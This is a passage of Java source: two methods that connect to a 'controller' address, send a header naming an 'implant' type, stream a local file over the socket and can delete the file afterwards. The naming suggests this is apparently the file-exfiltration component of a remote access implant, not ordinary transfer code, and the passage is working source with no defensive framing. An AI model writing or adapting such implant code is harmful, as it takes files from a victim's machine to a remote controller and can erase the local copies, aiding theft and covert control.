public void run() { try { if ((this.fleToSend == null) || (!this.fleToSend.exists()) || (!this.fleToSend.isFile())) { Driver.sop("File not found to send!"); if (this.statusIncrementObject != null) { this.statusIncrementObject.incrementStep(); } if (this.pwSocket != null) { this.pwSocket.println("Error!!! File: " + this.fleToSend + " not found!"); this.pwSocket.flush(); } } else { connectAndSendFile(this.controllerAddr, this.PORT, this.fleToSend); } try { if (this.statusIncrementObject != null) { this.statusIncrementObject.incrementStep(); } if (this.dis_SktConnection != null) { this.dis_SktConnection.close(); } if (this.dos_SktConnection != null) { this.dos_SktConnection.close(); } if ((this.sktConnection != null) && (this.sktConnection.isConnected())) { this.sktConnection.close(); } if (this.fis_FileToSend != null) { this.fis_FileToSend.close(); } } catch (Exception localException1) { } } catch (Exception e) { Driver.eop("run", this.strMyClassName, e, e.getLocalizedMessage(), false); } }
public boolean connectAndSendFile(String address, int port, File fle) { try { boolean proceedToSendFile = false; Driver.sop( "Attempting to connect to : " + address + " : " + port + " to send file: " + fle.getName()); this.sktConnection = new Socket(address, port); if ((this.sktConnection != null) && (this.sktConnection.isConnected()) && (!this.sktConnection.isOutputShutdown()) && (fle.exists())) { this.dos_SktConnection = new DataOutputStream(this.sktConnection.getOutputStream()); this.dis_SktConnection = new DataInputStream(this.sktConnection.getInputStream()); this.fleSizeToSend = fle.length(); this.dos_SktConnection.writeUTF( Driver.myImplant_Type + "%%%%%" + fle.getName() + "%%%%%" + fle.length() + this.SPECIAL_FILE_SEND_TYPE); this.dos_SktConnection.flush(); String response = this.dis_SktConnection.readUTF(); if (response.equalsIgnoreCase("PROCEED")) { proceedToSendFile = true; } if (proceedToSendFile) { this.beginFileTransferTime = System.currentTimeMillis(); this.fis_FileToSend = new FileInputStream(fle); this.arSendFile_ByteArray = new byte[this.readBufferSize]; this.totalBytesRead_FromFile = 0; while ((this.bytesReadFromFile = this.fis_FileToSend.read(this.arSendFile_ByteArray)) > 0) { this.dos_SktConnection.write(this.arSendFile_ByteArray); this.dos_SktConnection.flush(); if (this.bytesReadFromFile >= 0) { this.totalBytesRead_FromFile += this.bytesReadFromFile; } } this.fis_FileToSend.close(); boolean fileDeleted = true; if (this.totalBytesRead_FromFile == this.fleSizeToSend) { this.endFileTransferTime = System.currentTimeMillis(); if (this.deleteFileAfterSending) { try { Driver.sop("Attempting to delete File: " + fle.getCanonicalPath()); fileDeleted = fle.delete(); Driver.sop(" -->File Deleted"); } catch (Exception e) { Driver.sop("Could not delete file: " + fle.getCanonicalPath()); } } } Driver.sop( "Successful Tx: \"" + fle.getName() + "\"" + " Size: " + Driver.getFormattedFileSize_String(this.totalBytesRead_FromFile)); if (this.pwSocket != null) { this.pwSocket.println( "File " + fle.getName() + " successfully transmitted to requestor"); this.pwSocket.flush(); } if (this.deleteFileAfterSending) { try { Driver.sop("Attempting to delete File: " + fle.getCanonicalPath()); fileDeleted = fle.delete(); Driver.sop(" -->File Deleted"); } catch (Exception e) { Driver.sop("Could not delete file: " + fle.getCanonicalPath()); } } } else { try { Driver.sop( "File \" " + fle.getCanonicalPath() + "\" was not sent. It was rejected by Controller"); } catch (Exception e) { Driver.sop("File was not sent. It was rejected by Controller"); } } } else { Driver.sop("Error with the server. Please try again!"); if (this.pwSocket != null) { this.pwSocket.println("Error with the server. Please try again!"); this.pwSocket.flush(); } return false; } return true; } catch (EOFException eofe) { Driver.sop( "ERROR!!! Could not establish a connection and response with " + address + " : " + port); } catch (ConnectException ce) { Driver.sop( "ERROR!! Could not establish a connection and response with " + address + " : " + port); } catch (UnknownHostException uhe) { Driver.sop( "ERROR!!!! Could not establish a connection and response with " + address + " : " + port); return false; } catch (SocketException se) { Driver.sop("ERROR!!! Could not send file...the streams were closed."); } catch (Exception e) { Driver.eop("connectAndSendFile", this.strMyClassName, e, e.getLocalizedMessage(), false); } return false; }